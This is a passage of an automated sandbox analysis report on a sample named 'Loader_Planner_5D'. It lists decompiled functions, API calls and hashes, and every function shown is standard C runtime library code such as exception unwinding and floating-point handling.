Instruction Fuzzy Hash: 5DE1C372908B818AEB10EF64D4813BDB7A2FB44B68F554135DA8D87B96DF38F489C710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF710650A7C Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF71064A62D,?,?,?,?,00007FF71065227E,?,?,00000000,00007FF7106581CF,?,?,?), ref: 00007FF710650A8B
FlsSetValue.KERNEL32(?,?,?,00007FF71064A62D,?,?,?,?,00007FF71065227E,?,?,00000000,00007FF7106581CF,?,?,?), ref: 00007FF710650AC1
FlsSetValue.KERNEL32(?,?,?,00007FF71064A62D,?,?,?,?,00007FF71065227E,?,?,00000000,00007FF7106581CF,?,?,?), ref: 00007FF710650AEE
FlsSetValue.KERNEL32(?,?,?,00007FF71064A62D,?,?,?,?,00007FF71065227E,?,?,00000000,00007FF7106581CF,?,?,?), ref: 00007FF710650AFF
FlsSetValue.KERNEL32(?,?,?,00007FF71064A62D,?,?,?,?,00007FF71065227E,?,?,00000000,00007FF7106581CF,?,?,?), ref: 00007FF710650B10
SetLastError.KERNEL32(?,?,?,00007FF71064A62D,?,?,?,?,00007FF71065227E,?,?,00000000,00007FF7106581CF,?,?,?), ref: 00007FF710650B2B

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 554599b0e67b2151be6987fd7bced68f924cb36786e60137f5da0de39765a725
Instruction ID: 984278dbb58e28bad96274402575a54877c3bbc56b2c4dd9e1fb525fb648f2ce
Opcode Fuzzy Hash: 554599b0e67b2151be6987fd7bced68f924cb36786e60137f5da0de39765a725
Instruction Fuzzy Hash: 1A114A20F18F4382FA587762A996139E2A36F597F4F844735F82E067D6DE2CF4498220

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF710643E94 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 30%

			E00007FF77FF710643E94(void* __rax, long long __rbx, long long __rcx, void* __rdx, long long __rsi, long long __r8, intOrPtr* __r9) {
				void* _t76;
				void* _t83;
				void* _t84;
				intOrPtr _t101;
				intOrPtr _t103;
				void* _t113;
				void* _t118;
				void* _t130;
				long long _t133;
				intOrPtr* _t135;
				signed long long _t144;
				void* _t150;
				signed long long _t154;
				void* _t156;
				long long _t158;
				intOrPtr* _t159;
				void* _t161;
				void* _t162;
				signed long long _t166;
				void* _t170;
				intOrPtr _t171;
				void* _t173;
				void* _t174;
				void* _t176;
				void* _t178;
				void* _t180;
				intOrPtr* _t181;

				_t130 = __rax;
				 *((long long*)(_t161 + 8)) = __rbx;
				 *((long long*)(_t161 + 0x10)) = _t158;
				 *((long long*)(_t161 + 0x18)) = __rsi;
				_t162 = _t161 - 0x40;
				_t159 = __rcx;
				_t181 = __r9;
				_t174 = __rdx;
				E00007FF77FF710647824(_t76, __r8);
				_t171 =  *((intOrPtr*)(__r9 + 8));
				_t135 =  *((intOrPtr*)(__r9 + 0x38));
				_t178 =  *__r9 - _t171;
				_t103 =  *((intOrPtr*)(__r9 + 0x48));
				if (( *(__rcx + 4) & 0x00000066) != 0) goto 0x10643fbc;
				 *((long long*)(_t162 + 0x30)) = __rcx;
				 *((long long*)(_t162 + 0x38)) = __r8;
				if (_t103 -  *_t135 >= 0) goto 0x10644068;
				_t154 = __r8 + __r8;
				if (_t178 - _t130 < 0) goto 0x10643fae;
				if (_t178 - _t130 >= 0) goto 0x10643fae;
				if ( *((intOrPtr*)(_t135 + 0x10 + _t154 * 8)) == 0) goto 0x10643fae;
				if ( *((intOrPtr*)(_t135 + 0xc + _t154 * 8)) == 1) goto 0x10643f3a;
				_t113 =  *((long long*)(_t130 + _t171))(_t180, _t176, _t173, _t170, _t150);
				if (_t113 < 0) goto 0x10643fb5;
				if (_t113 <= 0) goto 0x10643fae;
				if ( *((intOrPtr*)(__rcx)) != 0xe06d7363) goto 0x10643f6b;
				if ( *0x1066c7a8 == 0) goto 0x10643f6b;
				if (E00007FF77FF7106631A0(_t130 + _t171, _t135, 0x1066c7a8) == 0) goto 0x10643f6b;
				_t83 =  *0x1066c7a8();
				r8d = 1;
				_t84 = E00007FF77FF7106477F0(_t83, _t159 + _t171, _t174);
				_t101 =  *((intOrPtr*)(_t135 + 0x10 + _t154 * 8));
				r9d =  *_t159;
				 *((long long*)(_t162 + 0x28)) =  *((intOrPtr*)(_t181 + 0x40));
				_t133 =  *((intOrPtr*)(_t181 + 0x28));
				 *((long long*)(_t162 + 0x20)) = _t133;
				__imp__RtlUnwindEx();
				E00007FF77FF710647820(_t84);
				goto 0x10643eea;
				goto 0x1064406d;
				_t156 =  *((intOrPtr*)(_t181 + 0x20)) - _t171;
				goto 0x1064405e;
				_t144 = _t174 + _t174;
				if (_t178 - _t133 < 0) goto 0x1064405c;
				_t118 = _t178 - _t133;
				if (_t118 >= 0) goto 0x1064405c;
				r10d =  *(_t159 + 4);
				r10d = r10d & 0x00000020;
				if (_t118 == 0) goto 0x10644031;
				r9d = 0;
				if (_t101 == 0) goto 0x1064402c;
				r8d = r9d;
				_t166 = _t159 + _t159;
				if (_t156 - _t133 < 0) goto 0x10644024;
				if (_t156 - _t133 >= 0) goto 0x10644024;
				if ( *((intOrPtr*)(_t135 + 0x10 + _t166 * 8)) !=  *((intOrPtr*)(_t135 + 0x10 + _t144 * 8))) goto 0x10644024;
				if ( *((intOrPtr*)(_t135 + 0xc + _t166 * 8)) ==  *((intOrPtr*)(_t135 + 0xc + _t144 * 8))) goto 0x1064402c;
				r9d = r9d + 1;
				if (r9d - _t101 < 0) goto 0x10643ff4;
				if (r9d != _t101) goto 0x10644068;
				if ( *((intOrPtr*)(_t135 + 0x10 + _t144 * 8)) == 0) goto 0x10644045;
				if (_t156 != _t133) goto 0x1064405c;
				if (r10d != 0) goto 0x10644068;
				goto 0x1064405c;
				 *((intOrPtr*)(_t181 + 0x48)) = _t150 + 1;
				r8d =  *((intOrPtr*)(_t135 + 0xc + _t144 * 8));
				 *((long long*)(_t166 + _t171))();
				if (_t103 + 2 -  *_t135 < 0) goto 0x10643fc8;
				return 1;
			}

0x7ff710643e94
0x7ff710643e94
0x7ff710643e99
0x7ff710643e9e
0x7ff710643eac
0x7ff710643eb0
0x7ff710643eb3
0x7ff710643ebc
0x7ff710643ebf
0x7ff710643ec4
0x7ff710643ecb
0x7ff710643ecf
0x7ff710643ed6
0x7ff710643eda
0x7ff710643ee0
0x7ff710643ee5
0x7ff710643eec
0x7ff710643ef4
0x7ff710643efe
0x7ff710643f0b
0x7ff710643f16
0x7ff710643f21
0x7ff710643f34
0x7ff710643f36
0x7ff710643f38
0x7ff710643f41
0x7ff710643f4b
0x7ff710643f5b
0x7ff710643f65
0x7ff710643f6f
0x7ff710643f7b
0x7ff710643f87
0x7ff710643f8e
0x7ff710643f95
0x7ff710643f9a
0x7ff710643f9e
0x7ff710643fa3
0x7ff710643fa9
0x7ff710643fb0
0x7ff710643fb7
0x7ff710643fc0
0x7ff710643fc3
0x7ff710643fca
0x7ff710643fd4
0x7ff710643fde
0x7ff710643fe1
0x7ff710643fe3
0x7ff710643fe7
0x7ff710643feb
0x7ff710643fed
0x7ff710643ff2
0x7ff710643ff4
0x7ff710643ff7
0x7ff710644002
0x7ff71064400c
0x7ff710644017
0x7ff710644022
0x7ff710644024
0x7ff71064402a
0x7ff71064402f
0x7ff710644037
0x7ff71064403c
0x7ff710644041
0x7ff710644043
0x7ff71064404b
0x7ff71064404f
0x7ff710644059
0x7ff710644062
0x7ff71064408a

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF710643EBF
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF710643F54
RtlUnwindEx.KERNEL32 ref: 00007FF710643FA3

Strings

csm, xrefs: 00007FF710643F3A
f, xrefs: 00007FF710643ED2

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 3d61cad390fb70f299cd1f65499ff7dda1ff8620ba016e074acdb8f4fc7b1a20
Instruction ID: eb4075c56995025eb808b8fb06aadcb50da1bdb723f240e083ddfe3e10fa4810
Opcode Fuzzy Hash: 3d61cad390fb70f299cd1f65499ff7dda1ff8620ba016e074acdb8f4fc7b1a20
Instruction Fuzzy Hash: B551D632E09E1286DB54EF15E404A78B7A6FB44BA4F908030DE1E87788DF39F849C710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71064A460 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF71064A485
GetProcAddress.KERNEL32 ref: 00007FF71064A49B
FreeLibrary.KERNEL32 ref: 00007FF71064A4C2

Strings

mscoree.dll, xrefs: 00007FF71064A47C
CorExitProcess, xrefs: 00007FF71064A494

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 06a5243b41c4214a3c9811215737859a26ee3ddce45e1da69c16923d427d865b
Instruction ID: aa0e6c424f381ff1ecfa6e1ce738de8d7f60d20d1ccb734715adf65ad74263c9
Opcode Fuzzy Hash: 06a5243b41c4214a3c9811215737859a26ee3ddce45e1da69c16923d427d865b
Instruction Fuzzy Hash: D8F0AF35A08E0A81EA10AB25A44433D9372AF85B70FC40235C96E463E8CF2CF04C8320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71064490C Relevance: 7.8, APIs: 5, Instructions: 290
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E00007FF77FF71064490C(signed int __ecx, void* __rax, long long __rbx, void* __rcx, intOrPtr* __rdx, long long __rdi, long long __rsi, signed char* __r8, signed char* __r9, long long _a8, long long _a16, long long _a24) {
				intOrPtr _v40;
				void* _t39;
				void* _t41;
				void* _t84;
				long long _t88;
				long long _t100;
				long long* _t121;
				signed char* _t131;

				_t84 = __rax;
				_a8 = __rbx;
				_a16 = __rsi;
				_a24 = __rdi;
				_t131 = __r9;
				if (__r8[4] == 0) goto 0x10644948;
				E00007FF77FF710643A30(__rax);
				goto 0x1064494e;
				r15d = 0;
				if (__rdi == 0) goto 0x10644ace;
				if (r15d == 0) goto 0x1064496d;
				E00007FF77FF710643A30(_t84);
				goto 0x10644970;
				if ( *((intOrPtr*)(__rdi + 0x10)) == dil) goto 0x10644ace;
				if (__r8[8] != 0) goto 0x10644987;
				if ( *__r8 >= 0) goto 0x10644ace;
				if ( *__r8 < 0) goto 0x10644995;
				_t121 = __r8[8] +  *__rdx;
				if (( *__r8 & 0x00000080) == 0) goto 0x106449cc;
				if (( *__r9 & 0x00000010) == 0) goto 0x106449cc;
				_t88 =  *0x1068b148; // 0x0
				if (_t88 == 0) goto 0x106449cc;
				_t39 =  *0x1066c3d0();
				if (_t88 == 0) goto 0x10644aea;
				if (_t121 == 0) goto 0x10644aea;
				 *_t121 = _t88;
				goto 0x10644a2b;
				if (( *__r8 & 0x00000008) == 0) goto 0x106449ec;
				_t100 =  *((intOrPtr*)(__rcx + 0x28));
				if (_t100 == 0) goto 0x10644aef;
				if (_t121 == 0) goto 0x10644aef;
				 *_t121 = _t100;
				goto 0x10644a2b;
				if (( *__r9 & 0x00000001) == 0) goto 0x10644a3c;
				if ( *((intOrPtr*)(__rcx + 0x28)) == 0) goto 0x10644af4;
				if (_t121 == 0) goto 0x10644af4;
				E00007FF77FF710647D30();
				if (__r9[0x14] != 8) goto 0x10644aca;
				if ( *_t121 == __rdi) goto 0x10644aca;
				E00007FF77FF710643D54(_t39,  *_t121,  &(__r9[8]));
				 *_t121 = _t88;
				goto 0x10644aca;
				if ( *((intOrPtr*)(_t131 + 0x18)) == 0) goto 0x10644a51;
				_t41 = E00007FF77FF710643A44(_t88);
				goto 0x10644a56;
				if (__rdi != 0) goto 0x10644a8f;
				if ( *((intOrPtr*)(__rcx + 0x28)) == __rdi) goto 0x10644af9;
				if (_t121 == 0) goto 0x10644af9;
				E00007FF77FF710643D54(_t41,  *((intOrPtr*)(__rcx + 0x28)), _t131 + 8);
				E00007FF77FF710647D30();
				goto 0x10644aca;
				if ( *((intOrPtr*)(__rcx + 0x28)) == __rdi) goto 0x10644afe;
				if (_t121 == 0) goto 0x10644afe;
				if (0 == 0) goto 0x10644aaf;
				E00007FF77FF710643A44(_t88);
				goto 0x10644ab2;
				if (__rdi == 0) goto 0x10644afe;
				asm("sbb ecx, ecx");
				_v40 =  ~__ecx + 1;
				goto 0x10644ad0;
				return 0;
			}

0x7ff71064490c
0x7ff71064490c
0x7ff710644911
0x7ff710644916
0x7ff710644925
0x7ff710644937
0x7ff71064493d
0x7ff710644946
0x7ff71064494b
0x7ff710644951
0x7ff71064495a
0x7ff71064495c
0x7ff71064496b
0x7ff710644974
0x7ff71064497d
0x7ff710644981
0x7ff710644989
0x7ff710644992
0x7ff710644998
0x7ff71064499e
0x7ff7106449a0
0x7ff7106449aa
0x7ff7106449ac
0x7ff7106449b5
0x7ff7106449be
0x7ff7106449c4
0x7ff7106449ca
0x7ff7106449cf
0x7ff7106449d1
0x7ff7106449d8
0x7ff7106449e1
0x7ff7106449e7
0x7ff7106449ea
0x7ff7106449f0
0x7ff7106449f9
0x7ff710644a02
0x7ff710644a0f
0x7ff710644a19
0x7ff710644a22
0x7ff710644a2f
0x7ff710644a34
0x7ff710644a37
0x7ff710644a40
0x7ff710644a46
0x7ff710644a4f
0x7ff710644a59
0x7ff710644a5f
0x7ff710644a68
0x7ff710644a7a
0x7ff710644a88
0x7ff710644a8d
0x7ff710644a93
0x7ff710644a98
0x7ff710644a9c
0x7ff710644a9e
0x7ff710644aad
0x7ff710644ab5
0x7ff710644abe
0x7ff710644ac6
0x7ff710644acc
0x7ff710644ae9

APIs

__AdjustPointer.LIBCMT ref: 00007FF710644A2F
__AdjustPointer.LIBCMT ref: 00007FF710644A7A

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 3eba1ec2742d81ca01ca2056d6c1c35ffa8f58e8037536dd0d4e6102c5343e10
Instruction ID: 33b851d1937f7aa9332703c9790d28a153e718ecee0292c30f52aa93c29b5b51
Opcode Fuzzy Hash: 3eba1ec2742d81ca01ca2056d6c1c35ffa8f58e8037536dd0d4e6102c5343e10
Instruction Fuzzy Hash: C5B1A831E4AE9281FB65FA519482239E392EF44BA4F998435DE4D87785DE3CF489C320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF710655CB8 Relevance: 7.7, APIs: 5, Instructions: 196
COMMON

Download Yara Rule

C-Code - Quality: 31%

			E00007FF77FF710655CB8(signed int __ecx, long long __rbx, signed int __rcx, void* __rdx, signed int __r8, signed int _a8, long long _a16, signed int _a32) {
				signed short _v90;
				unsigned int _v92;
				signed int _v96;
				signed int _v100;
				char _v104;
				void* _t43;
				signed short _t44;
				unsigned int _t48;
				unsigned int _t49;
				void* _t51;
				signed int _t56;
				signed int _t62;
				signed int _t63;
				void* _t71;
				unsigned int _t72;
				signed int _t81;
				signed int _t82;
				void* _t85;
				signed int _t86;
				void* _t87;
				void* _t88;
				signed int _t90;
				void* _t91;
				signed int _t102;
				signed long long _t106;
				void* _t116;
				void* _t117;
				void* _t124;

				_t122 = __r8;
				_a16 = __rbx;
				asm("movaps [esp+0x40], xmm6");
				asm("movaps [esp+0x30], xmm7");
				_t56 = __ecx & 0x0000001f;
				_v100 = _t56;
				_t3 = _t116 + 0x10; // 0x10
				r15d = _t3;
				r12d = __ecx;
				if ((__ecx & 0x00000008) == 0) goto 0x10655d08;
				if (r13b >= 0) goto 0x10655d08;
				E00007FF77FF710656654(_t56, __rcx);
				_t57 = _t56 & 0xfffffff7;
				goto 0x10655f6a;
				_t81 = 0x00000004 & r12b;
				if (_t81 == 0) goto 0x10655d26;
				asm("dec ecx");
				if (_t81 >= 0) goto 0x10655d26;
				E00007FF77FF710656654(_t56 & 0xfffffff7, __rcx);
				goto 0x10655f6a;
				_t82 = sil & r12b;
				if (_t82 == 0) goto 0x10655de9;
				asm("dec ecx");
				if (_t82 >= 0) goto 0x10655de9;
				_t43 = E00007FF77FF710656654(_t57 & 0xfffffffb, __rcx);
				_t106 = __r8 & __rcx;
				if (_t82 == 0) goto 0x10655db4;
				if (_t106 == 0x2000) goto 0x10655d9b;
				if (_t106 == 0x4000) goto 0x10655d82;
				_t85 = _t106 - __rcx;
				if (_t85 != 0) goto 0x10655de1;
				asm("movsd xmm0, [ebp]");
				asm("comisd xmm0, [0x17c82]");
				asm("movsd xmm0, [0x1995a]");
				if (_t85 > 0) goto 0x10655ddc;
				goto 0x10655dd5;
				asm("movsd xmm0, [ebp]");
				asm("comisd xmm0, [0x17c69]");
				if (_t85 > 0) goto 0x10655dc3;
				asm("movsd xmm0, [0x1993f]");
				goto 0x10655dd5;
				asm("movsd xmm0, [ebp]");
				asm("comisd xmm0, [0x17c50]");
				if (_t85 <= 0) goto 0x10655dcd;
				asm("movsd xmm0, [0x19926]");
				goto 0x10655ddc;
				asm("movsd xmm0, [ebp]");
				asm("comisd xmm0, [0x17c37]");
				if (_t85 <= 0) goto 0x10655dcd;
				asm("movsd xmm0, [0x19905]");
				goto 0x10655ddc;
				asm("movsd xmm0, [0x198fb]");
				asm("xorps xmm0, [0x198e4]");
				asm("movsd [ebp], xmm0");
				goto 0x10655f6a;
				_t86 = r12b & 0x00000002;
				if (_t86 == 0) goto 0x10655f6a;
				asm("dec ecx");
				if (_t86 >= 0) goto 0x10655f6a;
				asm("movsd xmm0, [edx]");
				r14d = r12d;
				r14d = r14d >> 4;
				asm("xorps xmm7, xmm7");
				r14d = r14d & 0x00000001;
				asm("ucomisd xmm0, xmm7");
				if (_t86 != 0) goto 0x10655e1b;
				if (_t86 == 0) goto 0x10655f5f;
				_t44 = E00007FF77FF710656414(_t43, _t86,  &_v104);
				_t71 = _v104 + 0xfffffa00;
				asm("movsd [esp+0x28], xmm0");
				_t87 = _t71 - 0xfffffbce;
				if (_t87 >= 0) goto 0x10655e4c;
				asm("mulsd xmm0, xmm7");
				r14d = 1;
				asm("movaps xmm6, xmm0");
				goto 0x10655f55;
				r9d = 0;
				asm("comisd xmm7, xmm0");
				r8b = dil;
				_a8 = dil;
				r9b = _t87 > 0;
				_v90 = _t44 & 0x0000000f | r15w;
				_a32 = dil;
				_t88 = _t71 - 0xfffffc03;
				if (_t88 >= 0) goto 0x10655ee1;
				_t48 = _v96;
				_t72 = _v92;
				_a32 = _t48 & 0x00000001;
				if (_t88 == 0) goto 0x10655eb0;
				r8b = sil;
				r14d =  ==  ? 1 : r14d;
				_t49 = _t48 >> 1;
				_v96 = _t49;
				_t90 = sil & _t72;
				if (_t90 == 0) goto 0x10655ec3;
				asm("bts eax, 0x1f");
				_v96 = _t49;
				if (_t90 != 0) goto 0x10655e99;
				_t62 = _v100;
				_v92 = _t72 >> 1;
				_a8 = r8b;
				asm("movsd xmm6, [esp+0x28]");
				_t91 = r9d;
				if (_t91 == 0) goto 0x10655ef9;
				asm("xorps xmm6, [0x197cd]");
				asm("movsd [esp+0x28], xmm6");
				asm("comisd xmm7, xmm0");
				r15b = _t91 > 0;
				if (_a32 != 0) goto 0x10655f0a;
				if (r8b == 0) goto 0x10655f4f;
				_t51 = E00007FF77FF71065DB34(_v96 >> 0x30, __rcx, _t122);
				if (_t51 == 0) goto 0x10655f29;
				if (_t51 == 0x100) goto 0x10655f24;
				if (_t51 != 0x200) goto 0x10655f4f;
				r15b = r15b ^ sil;
				goto 0x10655f42;
				if (_a32 == dil) goto 0x10655f4f;
				if (_a8 != dil) goto 0x10655f44;
				if ((_v96 & sil) == 0) goto 0x10655f4f;
				_v96 = _v96 + _t117;
				asm("movsd xmm6, [esp+0x28]");
				r15d = 0x10;
				asm("movsd [ebp], xmm6");
				if (r14d == 0) goto 0x10655f67;
				E00007FF77FF710656654(_t62, _t124);
				_t63 = _t62 & 0xfffffffd;
				_t102 = r15b & r12b;
				if (_t102 == 0) goto 0x10655f83;
				asm("dec ecx");
				if (_t102 >= 0) goto 0x10655f83;
				E00007FF77FF710656654(_t63, _t124);
				asm("movaps xmm6, [esp+0x40]");
				asm("movaps xmm7, [esp+0x30]");
				dil = (_t63 & 0xffffffef) == 0;
				return 0;
			}

0x7ff710655cb8
0x7ff710655cb8
0x7ff710655cce
0x7ff710655cd5
0x7ff710655cda
0x7ff710655ce0
0x7ff710655ce7
0x7ff710655ce7
0x7ff710655ceb
0x7ff710655cf1
0x7ff710655cf6
0x7ff710655cfb
0x7ff710655d00
0x7ff710655d03
0x7ff710655d0d
0x7ff710655d10
0x7ff710655d12
0x7ff710655d17
0x7ff710655d19
0x7ff710655d21
0x7ff710655d2b
0x7ff710655d2e
0x7ff710655d34
0x7ff710655d39
0x7ff710655d42
0x7ff710655d4f
0x7ff710655d52
0x7ff710655d5a
0x7ff710655d62
0x7ff710655d64
0x7ff710655d67
0x7ff710655d69
0x7ff710655d6e
0x7ff710655d76
0x7ff710655d7e
0x7ff710655d80
0x7ff710655d82
0x7ff710655d87
0x7ff710655d8f
0x7ff710655d91
0x7ff710655d99
0x7ff710655d9b
0x7ff710655da0
0x7ff710655da8
0x7ff710655daa
0x7ff710655db2
0x7ff710655db4
0x7ff710655db9
0x7ff710655dc1
0x7ff710655dc3
0x7ff710655dcb
0x7ff710655dcd
0x7ff710655dd5
0x7ff710655ddc
0x7ff710655de4
0x7ff710655de9
0x7ff710655ded
0x7ff710655df3
0x7ff710655df8
0x7ff710655dfe
0x7ff710655e02
0x7ff710655e05
0x7ff710655e09
0x7ff710655e0c
0x7ff710655e0f
0x7ff710655e13
0x7ff710655e15
0x7ff710655e20
0x7ff710655e29
0x7ff710655e2f
0x7ff710655e35
0x7ff710655e3b
0x7ff710655e3d
0x7ff710655e41
0x7ff710655e44
0x7ff710655e47
0x7ff710655e51
0x7ff710655e54
0x7ff710655e58
0x7ff710655e5b
0x7ff710655e63
0x7ff710655e73
0x7ff710655e7b
0x7ff710655e82
0x7ff710655e88
0x7ff710655e8a
0x7ff710655e95
0x7ff710655e9d
0x7ff710655ea4
0x7ff710655ea9
0x7ff710655eac
0x7ff710655eb0
0x7ff710655eb2
0x7ff710655eb6
0x7ff710655eb9
0x7ff710655ebb
0x7ff710655ebf
0x7ff710655ec8
0x7ff710655eca
0x7ff710655ed5
0x7ff710655ed9
0x7ff710655ee1
0x7ff710655ee7
0x7ff710655eea
0x7ff710655eec
0x7ff710655ef3
0x7ff710655ef9
0x7ff710655efd
0x7ff710655f03
0x7ff710655f08
0x7ff710655f0a
0x7ff710655f11
0x7ff710655f18
0x7ff710655f1f
0x7ff710655f21
0x7ff710655f27
0x7ff710655f31
0x7ff710655f3b
0x7ff710655f42
0x7ff710655f44
0x7ff710655f49
0x7ff710655f4f
0x7ff710655f55
0x7ff710655f5d
0x7ff710655f62
0x7ff710655f67
0x7ff710655f6a
0x7ff710655f6d
0x7ff710655f6f
0x7ff710655f74
0x7ff710655f7b
0x7ff710655f83
0x7ff710655f92
0x7ff710655f97
0x7ff710655fac

APIs

_set_statfp.LIBCMT ref: 00007FF710655CFB
_set_statfp.LIBCMT ref: 00007FF710655D19
_set_statfp.LIBCMT ref: 00007FF710655D42
_set_statfp.LIBCMT ref: 00007FF710655F7B

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: c351ee4c5cc5cbf7fd5a2aacc785a3426486efee864db25e078460d2a62ce6b0
Instruction ID: da55dd1ec37108233eb5d4299276389926ee1cc1ab6dbd128fdc644c6d37d185
Opcode Fuzzy Hash: c351ee4c5cc5cbf7fd5a2aacc785a3426486efee864db25e078460d2a62ce6b0
Instruction Fuzzy Hash: 94810923908E4645F732AB34A46827AF272AF553F4F844331E95D967A0DF3CF5898A20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF710621460 Relevance: 7.7, APIs: 5, Instructions: 188
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E00007FF77FF710621460(long long __rbx, long long __rcx, intOrPtr* __rdx, long long __r8) {
				void* __rsi;
				void* _t32;
				void* _t34;
				signed long long _t45;
				char* _t54;
				void* _t71;
				intOrPtr _t72;
				intOrPtr _t75;
				void* _t78;
				long long _t79;
				void* _t81;
				long long _t84;
				void* _t86;
				signed long long _t87;

				 *((long long*)(_t86 + 0x20)) = __rbx;
				_push(_t84);
				_t87 = _t86 - 0x60;
				_t45 =  *0x10689010; // 0xafe3859a1ce3
				 *(_t87 + 0x50) = _t45 ^ _t87;
				_t54 = __r8;
				_t79 = __rcx;
				 *((long long*)(_t87 + 0x48)) = __rcx;
				 *((long long*)(_t87 + 0x48)) = __r8;
				if ( *((intOrPtr*)(__r8 + 0x10)) == _t84) goto 0x106214a9;
				_t6 = _t84 + 2; // 0x2
				r8d = _t6;
				E00007FF77FF7106291C0(__r8, __r8, __rdx, __r8, _t78);
				r8d =  *__rdx;
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(__rdx + 8)))) + 0x10))();
				_t71 =  >=  ?  *((void*)(_t87 + 0x28)) : _t87 + 0x28;
				E00007FF77FF7106291C0(_t54, _t54, __rdx,  *((intOrPtr*)(_t87 + 0x38)), _t81);
				_t72 =  *((intOrPtr*)(_t87 + 0x40));
				if (_t72 - 0x10 < 0) goto 0x10621518;
				if (_t72 + 1 - 0x1000 < 0) goto 0x10621513;
				if ( *((intOrPtr*)(_t87 + 0x28)) -  *((intOrPtr*)( *((intOrPtr*)(_t87 + 0x28)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0x106215a8;
				E00007FF77FF710641E10( *((intOrPtr*)(_t87 + 0x28)) -  *((intOrPtr*)( *((intOrPtr*)(_t87 + 0x28)) - 8)) + 0xfffffff8,  *((intOrPtr*)( *((intOrPtr*)(_t87 + 0x28)) - 8)));
				asm("xorps xmm0, xmm0");
				asm("movups [edi], xmm0");
				 *((long long*)(_t79 + 0x10)) = _t84;
				 *((long long*)(_t79 + 0x18)) = _t84;
				asm("movups xmm0, [ebx]");
				asm("movups [edi], xmm0");
				asm("movups xmm1, [ebx+0x10]");
				asm("movups [edi+0x10], xmm1");
				 *((long long*)(_t54 + 0x10)) = _t84;
				 *((long long*)(_t54 + 0x18)) = 0xf;
				 *_t54 = 0;
				_t75 =  *((intOrPtr*)(_t54 + 0x18));
				if (_t75 - 0x10 < 0) goto 0x10621579;
